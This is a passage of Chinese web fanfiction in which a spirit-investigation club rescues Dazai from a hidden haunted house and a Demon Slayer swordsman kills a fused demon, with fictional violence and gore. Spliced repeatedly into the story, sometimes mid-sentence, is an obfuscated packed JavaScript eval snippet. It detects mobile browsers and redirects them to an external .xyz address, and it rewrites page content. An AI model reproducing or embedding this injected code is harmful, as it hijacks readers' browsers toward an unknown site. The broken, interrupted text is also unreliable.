织田作之助已经走了过来,“你已经知道了么,太宰。” 太宰治笑了笑,“并不是什么多难的问题。” 织田作之助闻言只是点了点头,他没有直接询问的意思,太宰治也知道对方不会直接问。 铃木小姐此时正瘫坐在地上,似乎是耗尽了力气。 太宰治凉凉的看了她一眼,什么都没说。 夏楠走之前嘱咐过他们如果出房间一定要结伴不能落单,结合此处的佣人里没有一个年轻人这一点来看,答案其实已经很明了了。 年轻人,红色,不想死。 无数的救救我。 数次扩建却从不居住的房屋,隐蔽的空间,错综复杂到连熟悉这里的佣人偶尔都会迷路的室内空间设计。 迷宫。 克里特迷宫和米诺陶勒斯。 年轻人,血。 血腥玛丽。 并不难联想。 有了推测,剩下的就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642323|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有求证。 但太宰治懒得求证。 千寻看了看神情冷淡的太宰治,瞥了下嘴。 房子建立的年代久远,相关的资料也并没有录入这里的数据库,他无法了解全貌,说实话能做的有限。 而这人明显已经知道了谜题,却不说。 千寻憋住了自己的好奇——无所谓,反正最后有夏目。 众人在事件过后很快分散。 五十岚教授带着脱力的铃木小姐回房休息,涉谷心灵现象调查事务所的人一副要留下来深入研究的样子,他们甚至还邀请织田作之助他们一起,被拒绝了。 回房的时候,织田作之助问道,“那位小姐会出事吗?” “只要不落单就没问题吧。”千寻无所谓的回答。 结果一语成谶。 第二天早上,几人被急促的敲门声吵醒,被告知了铃木小姐失踪的情况。 织田作之助听到了太宰治的声音。 “织田作,你为什么会留在探灵社呢?” 织田作之助愣了一下,又认真想了想,回答,“最开始,只是想找份普通的工作……” “现在呢?” “现在的话,果然还是因为夏目吧。” “……” “在这里,也许能看到不一样的风景,我是这么想的。” “还是因为夏目?”太宰治轻轻的问。 “是。” 太宰治不说话了。 从昨晚的降灵会开始,到现在,他的情绪一直不高,甚至于连千寻偶尔的挑衅,都懒得回击。如果换作其他人,或许还会关心的询问一下,但织田作之助并不是会这么做的人,而千寻,就算发现了太宰情绪不对,也只会看戏,不会干预。 结果…… —————— 织田作之助的手中有两个纸人,叠的并不算精细,甚至用的还是报纸的边角。 夏楠接过纸人。 上面随意绑着的线已经被解开了。 他笑了一下,将其中一个放进口袋,另一个拿在手里,轻轻捏了捏。 “什么时候发现的?” “五分钟前。” 五分钟前,织田作之助不过一个转头的功夫,太宰治自己推开门走进了走廊,又将门关闭。 “……等我再打开门,他已经不见了。” 22.二十二 啪。 啪。 啪。 有什么东西,赤脚踩在地面上,皮肤和着液体,与光滑的地面接触。 啪。 啪。 啪。 近了,越来越近了。 “嗬——嗬——” 是喘息声。 铁锈味充斥着整个鼻腔,气温……气温不知什么时候,已经降低到了会令人不适的区间。 冷。 一但注意到这件事,身体便开始不停的反馈寒冷的信号。 太宰治摸到了丢在地上的御守,但他没有捡起来。 脚步声停在了他面前。 “嗬——嗬——” 一股又一股腥锈的气息,吹拂在他的脸上,仿佛有什么人,正蹲在他的对面。 太宰治抬起眼。 黑暗中,一个轮廓忽然出现。枯瘦的脸颊,饥渴的视线。他的脚踝再次感受到了束缚,或许是之前那两个将他拖来这里的透明人。 一把枪出现在太宰治手中,他毫不犹豫的按下了扳机…… 砰—— 轮廓散开来,又要重新聚拢…… 就在这时—— “啊,好险。” 熟悉的声音响起,并没有关闭的房门外出现了一个人,那人手中拿着一部摄像机,对准了太宰治的方向。一束光,从摄像机的下方射/出。 黑暗的室内瞬间亮了起来。 “你出手太快了。” 夏楠说着埋怨的话,语气却听不出埋怨的意思。他抬脚走进室内,来到太宰治面前。 太宰治被光晃的眼花,抬手挡着光源,他低下头,发现束缚着自己双腿的东西不知道什么时候,已经不见了。 夏楠缓缓绕过太宰,将摄像放在了那张解剖床上,然后手一撑,坐了上去。 “你还好吗?” 太宰治站起身,回过头。眼前的青年闭着眼睛,脸上带着浅浅的笑。 “你来做什么?” “是小织的委托,”夏楠说道,“他委托我来救你。” 太宰治沉默了一下。 夏楠闭着眼,轻轻的问,“怎么想到来这里玩?” 太宰治捏着枪的手指动了动,他走了两步,单手一撑,学着夏楠的样子,和他一起坐在了解剖床上。 他无意识的把玩着手中的枪,“有人对我说,去做救人的那一方……” 仅仅开了个头,话语声就停了下来。 夏楠安静的等着。 可太宰治没有再说下去了。 …… 渡边女士在哪里,他真的很需要言简意赅的交流对象。 夏楠晃了晃腿。 “一个人在这里,害怕吗?” 说完,不等太宰治回应,他接着说道,“快说害怕。” 太宰治:…… “不,一点也不。” 夏楠笑了一声。 “害怕的话,要来我这里吗?” “我说,我,不,害,怕。” “一百亿,”夏楠朝着他的方向侧过脸,“如果你一定要给自己找一个理由的话,一百亿。” “探灵社从不做白工,虽然小织用自己的员工特权为你插了队,但该给的委托费,一分都不能少。” “太宰君可是很值钱的,”夏楠晃了下脑袋,“当然,作为探灵社的社长,亲自出马的价格也是很高的。” “一百亿,已经是骨折价了。” 太宰治沉默。 “如果我说我没有那么多钱呢?” 夏楠毫不犹豫,“那就肉偿吧。” 枪口抵在了夏楠的太阳穴上。 “如果,我在这里杀了你呢?”太宰看着眼前的青年。 枪不能使他退缩,所谓的恶灵同样不能。 他看起来并不强大,没有异能,没有毁天灭地的战力,从未表现出超脱世俗无可比拟的头脑,更没有足够强硬的背景支撑。如果不是他之前的算计与筹划,探灵社甚至都不会去主动争取权势与地位。 只有被动,被动的等待事情的发生,被动的反击,被动的筹谋。 就是这样,就是这样一个人。 看似什么都不在意,又浑身带着一种,什么都不放在眼里的从容。 无论是异能特务科还是军警,全部。 没有普通人面对权威本能的敬畏,也没有任用所谓第一杀手、职业地下情报人的心虚或猜忌。 一派理所当然。 他的眼里真的有装下这些人、这些组织么? 太宰治毫不怀疑,事情能顺利进行,算计能落到实处,只因为眼前的人愿意配合。 未来的某一天,如果他又不愿意配合了呢? 没有什么是一成不变的,得到的东西,必然会再度失去。 …… 夏楠微微叹气。 “第二次了,太宰君,”其实他不是很喜欢被枪指着脑袋来的,“你很急迫啊,上一个在我面前这么急迫的人是为了救人,你也是吗?” 太宰治没有说话。 “所以,又是为了织田?” 太宰治依旧没说话。 夏楠并不在意他的反应,“还是说,觉得自己时日无多?” “你给自己起的艺名是‘普通的自杀爱好者’,如果我没记错的话,”夏楠抓住了太宰治的手腕,依旧是那种明明看上去不快、却让人无法反应的动作,“刚好在正午来临前,还有一段时间,我呢,又是个关怀社员的好社长,既然社员有这样的兴趣爱好,而我又刚好有能力满足……” 太宰治拿着枪的手软了下去,手枪掉落,被夏楠精准的接住。 “场景ok,工具人……嗯,工具鬼也ok。” “那就试试吧,死亡。” 在意识的最后,太宰治听到了这样的声音。 —————— 清场,切切实实的清场。 临时雇佣来的佣人们被遣散,邀请前来的那些会社的人被送离,尽管有些人不甘心就此离开,但在军警和警方无声的阻拦下,最后只能忍耐被驱逐。 包括提供了全屋基础数据的涉谷事务所。 留在屋内的人,只剩下探灵社的织田作之助和千寻,以及与夏楠一起来的诸人。 紧急调来的军警与警方的人正在屋外守着所有的出入口和门窗,甚至连鬼杀队都派了一个四人小队过来。 “贵社社长的意思是,做一个实验。” 一群人正站在一面砸开的墙面前。 不死川实弥将那个被布包裹的人形包一脚踹进了墙的另一侧,紧接着,自己也跟着跨了进去。 “这里就是那个隐藏的空间……”松田阵平举着手电筒四下查看,“接下来往哪里走?” “不知道,没有平面图,没有数据。”千寻硬邦邦的说道。 他们是根据涉谷事务所提供的外部数据找到的这个大概的破墙位置,但里面…… “大桥先生?”条野采菊开口。 委托代理人大桥是唯一一个被留下来的主人家的成员。 “抱歉,关于以前的老宅的一切记录,已经被前任家主全部烧毁了。” “他在弥留之际说——让那间房子就那样腐烂在那里,不要去碰它,任何人都不要去碰它。” “什么鬼故事的经典开场白……”千寻吐槽一句。 “如果是鬼故事,那我们是什么,故事中不听劝告的作死团队?” 光线足够昏暗,不死川实弥干脆解开了人形布包上的遮光窗帘,把里面的人抖了出来。 正是之前被绑在树上电完又被砍了一刀的青年。 他现在看上去还挺完整的,只是额头上滑稽的贴了一张符,整个人木桩一样,动也不能动。 不死川实弥将鬼青年额头上的符拽掉,在鬼青年恢复动作的瞬间,一把抽/出腰间的刀,架在了他的脖子上。 鬼青年:…… 不死川实弥言简意赅,“带路。” 鬼青年不说话,往后蹭蹭,下一秒,脖子上传来一阵疼痛。 咚的一声,是大桥先生倒地的声音。 条野采菊收回刚刚砍晕人的手刀,“真是的,不要一言不合就动刀啊。” 之后封口可是很麻烦的。 不死川实弥啧了一声。 “要么带路,要么死,”他恶狠狠的说,“选吧。” 鬼青年欲哭无泪,他捂着被划开一道大口子的脖颈,“这里也没有路啊!” “给我们一个方向,”松田阵平说道,“你不是说能感受到这里有可怕的气息吗?” 鬼青年沉默一会儿。 “……你们说的,只要我帮忙,就算我将功赎罪,是真的吗?” 松田阵平与队友对视一眼,“是。” 条野采菊补充,“说不准还能恢复正常呢。” 鬼青年看了一眼松田阵平,在不死川实弥恶狠狠的瞪视下,指了一个方向,“在那里。” 又是一面墙。 织田作之助直接上前,开始了之前已经做过一次的砸墙工序。 渡边女士将晕倒的大桥先生拖了出去,剩下的一行人,在鬼青年的指引下,一路砸墙破门,最后,终于来到了—— “这里就是……” 早已干枯多年的花草,混浊的空气,嗅觉较为灵敏的条野采菊抬手捂住了鼻子。 他们的眼前有一栋二层小楼,房子的顶部与上方为了掩盖它而修建的楼板还很有一段距离。 泥土道路上有新鲜的脚印与拖拽的痕迹,众人顺着痕迹,一路走进了小楼内部。 “血。” 织田作之助在进入的瞬间就朝着血腥气最浓厚的二楼跑去。 有光。 他毫不犹豫的来到唯一有灯光的房间门口,一眼就看到了躺在血泊里的太宰治。 织田作之助两步跨到太宰治身边,很快做出了判断。 ——不是太宰的血。 他松了一口气。 就在这时,一只手无声无息的,搭在了他的肩膀上。 是谁?! 就在织田作之助条件反射的想要回击的时候,夏楠的声音响起。 “小织,知道睡美人是怎么醒来的吗?” 织田作之助:…… 夏楠的声音里带着笑意,“好了,现在,虽然性别有些不对,但是……” “是时候给我们的睡美人一个早安吻了,王子殿下。” 织田作之助:…… 他回头看了一眼一无所觉躺在那里的太宰治,又看了眼笑眯眯的夏楠。 …… “……是必须的程序么?” 看得出很纠结了。 夏楠笑出了声。 “二位,希望我没有打扰到你们,”条野彩菊出现在门口,“我只是来提醒一下……” “夏目社长,时间快到了。” 夏楠收敛了一点笑,“人呢?” “……这个嘛……”条野彩菊耸了下肩,“应该很快就会被送过来。” 夏楠点点头,将脑袋朝向织田作之助,“看来现在不是吻睡美人的好时机。” 织田作之助:…… 这熟悉的小表情——看出来了,夏目只是想看热闹。 他悄悄松了口气。 夏楠:“那就麻烦助理君,先把太宰抱下来吧。” “好。” 织田作之助答道。 —————— 先做一个小小的假设。 虽然还没能全部看完鬼灭的所有剧集,但是,夏楠还是基本掌握了一些信息。比如‘能够使鬼重新变成人的药剂’、‘鬼的始祖曾经也是人’、以及所谓的‘蓝色彼岸花’。 石蒜,还蓝色。 哦,这个不重要,重要的是——鬼再次出现了。 不死川实弥面对没有杀/过人、明显刚被转变的鬼的时候并没有手下留情;曾经的鬼王、不信世间有神明的鬼舞辻无惨和能够察觉到这里咒怨的存在的新鬼。 织田作之助在条野采菊的帮助下,将睡的可沉的太宰治背在了背上。 松田阵平从楼下扶上来一名看起来十分虚弱的女性。 条野采菊听到不寻常的脚步声,偏过头,“你把她带上来干什么?” “下面的场面有点……”松田阵平扶着铃木小姐靠坐在墙边,“那位鬼杀队的风柱……” 他并没有说完,但条野采菊理解了他的意思。 一只闻到血腥气开始控制不住自己的食人鬼,和一个不用眼都能看出来深怀对食人鬼的厌恶的猎鬼人。 接下来发生的事可想而知。 为了以防出意外,条野采菊跟着织田作之助一起上了二楼,没能围观后续,不过光是用想的,也能知道现场的情景不那么美妙。 不死川实弥是真的不懂什么叫手下留情啊…… “好吧,善良的警官先生。” 夏楠探出个脑袋。 他依旧闭着眼睛,只是微微侧脸对着来人的方向。 铃木小姐刚好抬头,在看到夏楠的瞬间,努力端正了一下自己的坐姿,“夏目先生……” “好好休息吧,”夏楠知道上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646886|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的人里有她,但他的注意力并没有在她身上多做停留,而是对着松田阵平,又问了一遍,“人呢?” “在楼下,”松田阵平说着,仔细打量夏目,“……你看起来还不错?” 夏楠刚想点头,对方忽然眉头一皱,上前两步,“这是什么?又受伤了?” ? 那个拍摄照明两用的摄像如今又回到了夏楠手里,光线微微倾斜的对着墙面,虽然迎着光看的不是很真切,但松田阵平还是眼尖的发现了夏楠手肘处的血迹。 伤口? 他上前查看,拉开了夏楠那明显是被划开一道口子的袖口。 确实有伤,大概是之前太宰治那一枪的原因。只有一道浅浅的擦伤,早就不流血了。 “那……那个……” 被忽视的铃木小姐开口,“我这里有干净的手帕,如果夏目先生不介意的话……” 她是被夏楠在楼下的房间里发现的,整个人像是储备粮一样被丢在那里,旁边全都是烘干后整齐堆放的人类的骨骼,一排排的木架上,全都是。夏楠看到她时,铃木的情况十分糟糕,由于她极其容易受到影响的体质,被困在一间堆满了受害者尸骨的房间内对她来说简直是酷刑,再加上温度也低,虽然没有被直接割喉,精神衰弱加上失温,整个人也几乎奄奄一息了。 是夏楠将她带出那间令人窒息的‘藏品’室,随便塞给她一枚铜钱,让她原地等救援来的。 一枚几乎在瞬间就驱散了身上层层缠绕的寒气的铜钱。 铃木小姐摸出一块干净的手帕,递了过来。 松田阵平毫不犹豫的接过,接着,撸起袖子就要给夏楠做简单包扎。 “怎么?”松田阵平动作很快,他弄好以后看了一眼夏楠,“你不是很怕疼吗?” 上次还撒娇来的。 这样的人撒娇,说实话还挺让人印象深刻,再加上夏楠那更加令人印象深刻的变脸速度,导致他这次看到夏楠受伤的第一反应就是赶紧先哄人。 奇怪的条件反射增加了。 摄像被背着太宰治的织田作之助接在了手里,明明背着一个人,他却依旧一副很轻松的样子,还能腾出手帮忙。 夏楠感受着手肘处的异物感,原地想了想,歪头,“松田警官,你在刷我的好感吗?” 松田阵平一愣,随即单手叉腰,姿态放松,“哈?这就叫刷好感?” 帮忙包扎而已,他给许多人都做过。 “包扎而已,想什么呢?” 夏楠活动了一下胳膊,“是吗,可好感的确涨了。” “那可真是谢谢你。” “二位感情很好啊。”条野彩菊说道。 “还行吧。”松田阵平随意的回复。 几人寒暄的功夫,千寻和松田阵平的队友也上来了,后面跟着一脸凶恶的不死川实弥。 …… ——这些人,在这样阴森恐怖的环境里,轻松的仿佛周围的危机并不存在一般。 铃木小姐靠坐在墙边,借着闪来闪去的手电的光,看着不知道为什么闭着眼睛的夏目先生和其他人有一句没一句的聊天。 ——这里有很可怕的灵,它已经猎杀了许多人。 ——这里很危险。 提示的话在嘴边犹豫半晌,正要出口。 “时间到了。” 是夏目先生的声音,那位探灵社的年轻社长,五十岚教授十分欣赏、曾数次和她提起过的杰出灵能力者。 ——……什么时间? 铃木小姐的脑海里刚刚浮现出这个疑问,那个穿着一身好像是戏服一样的军服的男人突然凑近,对方的笑脸放大在眼前 “现在是睡眠时间。” 什—— 她感到后颈一痛,接下来,意识已经沉沦。 —————— 鬼青年的胳膊没了,下巴也被卸掉一半,挂在那里张着嘴,被不死川实弥粗暴的拖着头发一路拽到二楼,再加上衣衫不整,看起来十分滑稽的样子。 “就是这里?”不死川实弥环视一圈,走进了众人围绕在门口的房间。 “对,”夏楠说道,“把他扔进去就好。” 不死川实弥毫不迟疑的把鬼青年丢了进去,咚的一声。 千寻走到夏楠身边,先是重重的哼了一声,在看到织田作之助背上的人以后,又长长的嘁了一声。情绪表达十分饱满。 一行人都站在了门外。 “没有监控多少还是有些不方便。” 夏楠说道,不过也没太大差别。 “出来吧,不死川先生。” 不死川实弥退出房外,顺手拉住了门把手。 一晚上,经历过雷劈,刀砍,又被卸掉下巴的鬼青年目露惊恐,他已经察觉到了什么。 “这里是哪里?你们要干什么?!”含糊的喊叫声响起,带着浓浓的惊恐。 他只是被砍掉了双手,双腿还在,只是碍于不死川实弥的武力威慑而不敢再有什么放肆的举动,但现在,这个家伙已经慌不择路了。 他跑到门边,被正在关门的不死川实弥一脚又踹了回去,“你们要干什么,放我出去!” “我们不是说好的吗?我配合,你们会放了我!” “将功赎罪,我们不是说好的吗?!” “那边的警官,喂!说好的带你们来这里就放了我呢!” “你们这是欺诈!是欺诈!” “你们不能知法犯法!” 夏楠抬手拦住了不死川实弥关门的动作,“开着也没关系,现场观摩一下。” 鬼青年的吼叫声并没有给他带来一丝一毫的影响,他连表情都没有任何变化。 不死川实弥瞥了眼夏楠,松开了握着门把手的手。 这是一间贴满了瓷砖的房间,很有上世纪浴室的装修风格,但这个房间的用途,显然不是浴室,或者,并不仅仅只是浴室。 房间的最里侧有一个浴缸,半拉着的浴帘上除了灰尘以外,并没有其它的污迹。 房间的中央是一张解刨床,上面有黑色的束缚带。解剖床上也很干净,除了灰尘以外,只有一些淡淡的黄色印记。 墙面上钉着一排工具挂钩,上面最醒目的,是一把程亮的柴刀,刀刃锋利,在光线下泛着冷光。 地面上有一层浅浅的灰尘,几道脚印分外明显,其中两道是夏楠与太宰治留下的。 “你们不能这样……你们不能这样……我们说好的……” 鬼青年自知逃不出去,便在门口祈求。 “我也是受害者啊,我们说好的!” “说好的!” 23.二十三 织田作之助的视线停在那张解剖床上。 “我之前……”看到了血。 他的话并没有说完,鬼青年吼叫的声音实在太大,完全盖过了他平稳的说话声。 但夏楠还是听见了。 他瞥了眼织田作之助,“还记得我之前说过什么么?” ——曾经发生在这里的景象,成为了影响人大脑认知的幻觉的一部分。 织田作之助捻了捻手指。 黏稠的触感,在将太宰治从解剖床上抱起来的时候,他不可避免的触碰到了那些血。 这就是,‘幻觉’。 夏楠的注意力已经回到了房间内。 虽然看不到,但依旧能够感觉到,里面正在发生的事。 “只是一次实验,不用害怕。” 夏楠的声音很轻柔,尾音微微上卷,使整句话莫名带了些俏皮的意味。他往前迈了一小步,让自己站在所有人前面,抬起手确认了一下门框的位置。 鬼青年见哭诉没人搭理以后,想要暴力突破,再次被不死川实弥飞起一脚踹了回去。 夏楠也伸出了脚,只是,他伸的幅度很小,脚尖刚刚好抵在门框的边缘,从一侧,到另一侧。 一条线。 啪。 夏楠打了个响指,像是一个信号。 他睁开了眼睛。 …… 有什么,不一样了。 明明没有关门,手电的光线却像是遇到了什么难以跨越的阻碍一样,停在了门框边。房间内彻底黑了下来,里面是几乎是伸手不见五指的黑暗。鬼青年的声音也消失了,仿佛已经被黑暗完全吞噬。 一门之隔,隔出了两个世界。 “……你做了什么?” 守在门边的不死川实弥回过头看向夏楠。 夏楠已经重新拿回了那个手持摄像,他将摄像的镜头怼进了黑暗里。 “是界线。” 夏楠示意了一下刚刚他的脚尖划过的地方,“区分开现实与幻境的界线,通俗来讲,结界?” “结界……不知道这次的现象,夏目社长有科学的解释么?” 并看不到具体发生了什么,但大致猜到了的条野采菊问道。 夏楠笑了笑,轻飘飘的说道,“科学,是对你们而言有意义的东西,”他看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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‘人类的血液于他无用’大概是这里的咒怨的逻辑当中的一部分,因此,不论生前死后,咒怨的主载体实际同样也被束缚在了这个逻辑当中。但鬼青年‘不是人’啊,他的本我里拥有的那一部分区别于人类基准盘认知世界的参数使的他可以在什么都不知道的情况下感知到咒怨的存在,那么反过来,咒怨同样的,与鬼青年有着相同的可以融合的部分。 能够融合,自然可以被吸收。 这是一种区别于灵能力者‘同频’的情况,能够融合的部分是被判定为‘同类’的部分。 尽管占比稀少,但它是一个钥匙,一个将打通咒怨主载体于现实之间壁垒的钥匙,一个将它的参数修改到可以被主世界一般客体反干涉程度的钥匙。 光线在一瞬间照亮了漆黑的室内,咒怨的主载体,那个重新‘活过来’的家伙,暴露在了光线下。他拥有了实体,并转过头看向了突然出现的众人。新生的鬼,对血肉的渴望让他在看到活人的一瞬间就露出了狰狞的表情,尖牙突破嘴唇,呲了出来。 夏楠退后一步,抬手做了个请的动作,“不死川先生,请尽情发挥。” 关于新鬼的猜想被验证,眼前的这两只已经失去了他们作为实验对象的价值。 不死川实弥瞬间冲了上去。 腰间的刀顷刻出窍,风之呼吸的剑技带着撕裂一切的破坏力,毫不犹豫的朝着那个光裸的家伙的脖子上斩去。 就在这时,一阵狂暴的、仿佛有无数人在同一时间发出的吼声猛的响起,声音裹挟着一波声势浩大的气浪、以新诞生的食人鬼为圆心,带着一股极强的破坏力,冲向了四周。 除了这栋被人刻意影藏起来的房子以外,首当其冲的就是在场的众人。 冲击而来的气浪阵的人五脏翻滚。松田阵平和队友先后护住了被迫晕倒的铃木小姐——她现在是真的呗震晕过去了,织田作之助闪身躲在了墙壁后面,他伸手去拉夏楠,却被对方轻巧避开;反应不及的千寻和坂口安吾被条野采菊一手一个同样丢到了墙壁后面,察觉到还有人没躲,他试图去拉,却被气浪一下顶到了身后的墙上,不得已,只能先紧急避险。 直面了完整的气浪冲击波的,只有利用呼吸法增强了肉/体强度的不死川实弥和站在门口、连位置都没动一下的夏楠。 哦,还有那可怜的鬼青年。几次三番的重伤让他靠着之前吃过的人积攒的那点能量消耗殆尽——他现在看起来十分凄惨,只能凭借着食人鬼的特性吊着一口气,活鬼半死。 “……血鬼术。” 不死川实弥甩了一下刀,一击不中的他站定了,紧接着,嘴角露出一个嗜血的笑。 “很好。” 新诞生鬼的视线划过敞开的房门,不死川实弥注意到这一幕,嗤了一声,反手在自己手臂上已经不再流血的伤口上方再次割出一道新鲜的伤口。 稀血,对食人鬼有着极强的吸引力,更别提一只新诞生的,对进食有着极其迫切欲望的鬼。 血液流出的同时,鬼的目光几乎是在瞬间就锁定在了不死川实弥身上。 “来吧,让我看看你还有哪些花样。”不死川实弥再次攻上。 新诞生的鬼比起那个鬼青年来讲,破坏力大了不止一倍,他拥有着从诞生起就存在的力量,这股力量极其强大,只是在柱的面前,还是有些不够看。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657889|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 认真起来的不死川实弥速度快的可怕,刀光闪过,青色的风卷起小范围的风暴,新鬼的第二波声浪攻击还在酝酿,就已经被砍掉了头颅。 屋内短暂的交锋以不死川实弥的大获全胜宣告结束。 夏楠走了过去。他低头看向轰然倒地的鬼的身体,等了一会儿。 不死川实弥同样在等,不存在的经验告诉他,事情或许还没有结束,毕竟眼前的鬼很特殊。 它确实很特殊——鬼的身体并没有像其它鬼那样,被砍掉头颅以后化作飞灰彻底消失,它在躺了一会儿以后,忽然动了。 掉落的头颅倒是真的消失了,但断裂的脖颈上,却生长出了一颗全新的脑袋。 不死川实弥毫不犹豫的将这颗脑袋也切了,接着,看向了夏楠。 夏楠沉吟一会儿,“看起来,它的存在更倾向于新鬼的另一段基因的提供者。” 可能是因为能够融合的大多是那部分的原因?恶鬼的部分只是顺带的。 “什么意思?”不死川实弥问道。 “意思是,用猩猩……嗯……”什么名字来着,算了,“意思是,特制的刀已经不足以杀死它了。” 不死川实弥挥刀砍掉了第二颗新头,“什么意思?” “它是妖怪和鬼的混血,现在是妖怪的基因占主导,”夏楠指了指那边形状凄惨的鬼青年,“那个是鬼的基因占主导。” 不死川实弥言简意赅的问,“杀不死?” “怎么会。” 夏楠凑近看了看刚刚长出来的第三颗头颅,又直起身,想了想,象征性的比了个往生印。 “不死川先生,做好准备。” 他轻轻吐出一口气。 “青华长乐界,东极妙严宫……九色莲花座,十方救苦尊……” 千寻重新回到了门口,他没有进去凑热闹的打算,只是定定看着眼前的一幕。 清瘦高挑的青年微微垂着眼,嘴唇开合间,异国的语言带着奇特的韵律,一声声响起…… 25.二十五 青年的身影和在光的轻柔包裹中,带上了一股与废墟格格不入的神圣气息。四面赶来的诸人在抵达附近后,看到这样的场景,又纷纷停下了脚步。 不敢上前,不愿上前。 明明阳光正盛,那些微弱的光团肉眼几乎不辨,存在感却依旧强烈。它们围着青年飞舞的样子,缓缓消散的样子,与被它们环绕的青年一起,组成了一副极美的画卷。 不想打扰。 那个总是无精打采,偶尔会展露自己恶趣味的夏目,仿佛在这一刻,终于露出了一点点属于自己的真实。 ——那边的世界,也没有多么糟糕嘛。 至少,还有这样的景色啊。 千寻看着眼前的这一幕。 他赶来的时候,只看到了末尾,一点点光屑在夏楠身边消散的场景,但不妨碍他接收到那种无可比拟的视觉震撼。大概是错觉吧,神圣什么的,夏目那家伙怎么可能和神圣扯上关系。 永远睡不醒的样子,明目张胆恶作剧的样子,明明什么都知道却偏偏喜欢看别人笑话的样子。 什么都不在乎的样子。 神什么圣。 只是氛围,是光。光打的好,滤镜加的好,什么样的画面都能神圣。 没错,就是光。 探灵社唯一的后期如是肯定。 追逐光是许多生物的本能,许多人类也不能免俗。 只是这样而已。 …… 就是旁边的那个恶人脸的家伙有点碍眼。 —————— 此时此刻,众人视线的中心,那个被打上神圣标签的夏楠,到底在想些什么呢? ——正午的阳光,杀菌消毒好选择。 ——……社里的视频也该弄点广告位了。 夏楠伸了个懒腰,又深深吸了一口气。 长时间处在昏暗又难闻的地方,忽然来到太阳底下,空气流通,新鲜的风吹过,整个人都舒展了。 那名吃掉了自己家人的鬼青年在阳光的照射下化为灰烬,作为验证猜想的产物的融合鬼也被彻底消灭,不死川实弥在这里的任务已经结束。他需要立刻将这里的事向主公禀报,无意继续停留,于是上前与夏楠道别。 夏楠:? 感觉这位风柱对他的态度好像变了些?如果以前只是有前因的不死川式客气,现在的话,多了点别的什么。 夏楠无意深究到底多了些什么。 虽然依旧一脸不好接近的样子,说话的语气也凶巴巴的,但在夏楠眼里,不死川实弥的改变还挺明显。 态度变好了些的风柱告别后就走了,一副无意继续与他人打交道的样子。鬼杀队增派的四人小队倒是留了下来,据说是为了处理后续的事务。 真好啊……还有专人处理后续的事务。 夏楠看向了自家社员,眼睛里写满了想要。 背着太宰治走过来的织田作之助:? 整理好自己情绪的千寻表现的很正常,他看了眼夏楠的肩头,问道,“那是什么?” 织田作之助也注意到了——那里有一团小小的光球,毛茸茸的样子。当然,光球不可能真的毛茸茸,只是看起来毛茸茸。小光球停留在夏楠的肩膀上,蔫蔫的,一动不动。 天知道他们为什么会从一颗光球身上分辨出它的情绪。 夏楠用指尖戳了戳那颗瘫在他肩膀上的小家伙,“还不回去么?” 光球一动不动,好像在闹脾气一样。 夏楠忽略了它的小别扭,手指轻轻一弹。 小光球飘了起来,它晃晃悠悠的,在空中打了个旋儿,然后,没入了织田作之助背上的太宰治的额心。 “哦,是他啊。”千寻语气平平的说道。 太宰治动了。 他的脑袋从织田作之助的肩膀上抬了起来,神情厌厌,只是抬手拍了拍织田作之助的肩膀,示意对方把他放下来。力道很轻,好像没什么力气的样子,在被放下来的时候还打了个晃。 织田作之助看着太宰治,微微一愣,开口,“太宰,你……” 千寻迅速拿出了手机,用他最快的手速点开了拍照功能,紧接着,他的镜头对准太宰治,咔嚓咔嚓的,连拍摄音效都没关,直接给太宰治来了一连串的脸部特写。 太宰治的脸上带着懵懵的表情,这几乎不像他。湿润的触感从眼角一直延伸到下颌,他抬起手,指尖点上脸颊。 是水渍。 刚刚回归自己的身体,也不知道是因为那些死去的灵魂留给他的影响没有完全消除,还是单纯的…… 太宰治看着自己湿润的指尖,愣住了。 织田作之助说道,“太宰,你还好吗?” “我……” “要抱一下吗?” 这个声音…… 太宰治抬起眼,看向了发出声音的方向。 是夏楠。 他微微张开手,面朝着太宰治的方向,沐浴在光里。 太宰治依旧愣愣的,他没回答,也没有动作。就在这时,他的背后传来一股推力,那力道将太宰治推的向前迈了几步。 千寻已经收了手机,他站在太宰治身后,还保持着推人的动作。要放在平常,这个警惕心极强的家伙根本不可能发现不了自己。 他说,“想去就去,露出那种可怜兮兮的表情干什么?” “我们又没欺负你。” 还是个十四岁的少年呢,比千寻都要小两岁。 